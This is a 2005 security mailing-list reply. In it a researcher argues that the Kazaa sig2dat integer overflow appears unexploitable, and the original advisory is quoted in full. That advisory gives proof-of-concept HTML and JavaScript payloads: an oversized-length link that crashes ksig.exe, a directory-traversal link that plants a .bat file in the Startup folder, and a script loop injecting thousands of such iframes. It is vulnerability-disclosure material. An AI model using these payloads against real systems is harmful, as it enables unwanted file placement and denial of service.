Re: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations

["Berend-Jan Wever" <skylined () edup tudelft nl>]

Short version:
I looked at the "Length:999999999..." problem: It doesn't seem exploitable.

Details:
The sig2dat:// url causes Internet Explorer to run ksig.exe, ksig.exe is terminated because of an unhandled exception 
0x0eedfade that is raised from 0x00403B69 in my ksig.exe. Googling for this exception will not report anything very 
usefull, other than that it is mentioned only in relation with Delphi programs.

My impression of the problem:
So I ran it through a debugger and I think that the number "99999999..." is run through a routine that converts it from 
string to an integer. Since it will not fit into a 32-bit integer, this function throws an exception to report this 
error. This exception is not caught by ksig.exe, terminating the program. I'm not 100% sure since I only looked at the 
code for about half an hour and I have no Delphi compiler installed to test if any of the default string2int routines 
throw exception 0x0eedfade.

Feel free to prove me wrong.

Cheers,

Berend-Jan Wever
SMTP: <skylined () edup tudelft nl>
HTTP: http://www.edup.tudelft.nl/~bjwever
MSN: Skylined () edup tudelft nl
IRC: SkyLined in #SkyLined on EFNET
PGP: key ID 0x48479882

----- Original Message ----- 
From: "Rafel Ivgi, The-Insider" <theinsider () 012 net il>
To: "Windows NTBugtraq Mailing List" <NTBUGTRAQ () LISTSERV NTBUGTRAQ COM>; <vulnwatch () vulnwatch org>; 
"securitytracker.com" <bugs () securitytracker com>; <news () securiteam com>; <full-disclosure () lists netsys com>; 
<bugtraq () securityfocus com>
Sent: Monday, January 17, 2005 21:40
Subject: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations


> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> Application:   Kazaa
> Vendors:       http://www.kazaa.com
> Versions:       kazaa lite k++(probably all others too...)
> Platforms:      Windows
> Bug:              Sig2Dat Protocol Remote Integer Overflow and
>                      Denial Of Service by creating files in arbitrary
> locations
> Exploitation:   Remote With Browser
> Date:             17 Jan 2005
> Author:          Rafel Ivgi, The-Insider
> E-Mail:          the_insider () mail com
> Website:        http://theinsider.deep-ice.com
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> 1) Introduction
> 2) Bugs
> 3) The Code
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> ===============
> 1) Introduction
> ===============
>
> Kazaa is currently the world’s most common P2P file sharing application.
> When installing Kazaa a new protocol is installed named “sig2dat”.
> This protocol contain an integer overflow vulnerability which may cause
> a crash and may allow remote execution of code. There is another
> vulnerability in the “File:” parameter which allows creating files in
> arbitrary locations and committing Denial Of Service.
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> ======
> 2) Bug
> ======
>
> The sig2dat protocol syntax:
> Sig2dat://<filename>%7c<file length in bytes>< file length in
> kilobytes>%7c<HASH>%7c
>
> The vulnerable parameter is the file “Length” (in bytes). Specifying a
> numeric value bigger than a 999999999.
>
> Successful exploiting of this vulnerability may allow remote code execution.
>
> There is another vulnerability in the “File:” parameter. It allows creation
> of files in arbitrary locations within the same partition as the shared
> folder,
> using the classic directory transversal technique “../”.
>
> For Example:
> <A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start Menu/
> Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
> m3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>
>
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> ===========
> 3) The Code
> ===========
>
> 1) <A HREF="sig2dat://%7CFile:dev-catz5%28.bin%7CLength:99999999999999999999
> 9999999%20Bytes,364489KB%7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK
> HERE</A>
> *********************************************************************
> 2) <A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start
> Menu
> /Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
> m
> 3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>
> *********************************************************************
> 3) <script>
> var i
> for (i=1;i<10000;i++)
> {
> mylocation="<iframe src='sig2dat://%7CFile:../../../../../../Docume~1/All
> Users
> /Start
> Menu/Programs/Startup/cool"+i+".bat%7CLength:373236528%20Bytes,364489KB%
> 7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/'></iframe>";
> document.write(mylocation);
> }
> </script>
>
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> ---
> Rafel Ivgi, The-Insider
> http://theinsider.deep-ice.com
>
> "Scripts and Codes will make me D.O.S , but they will never HACK me."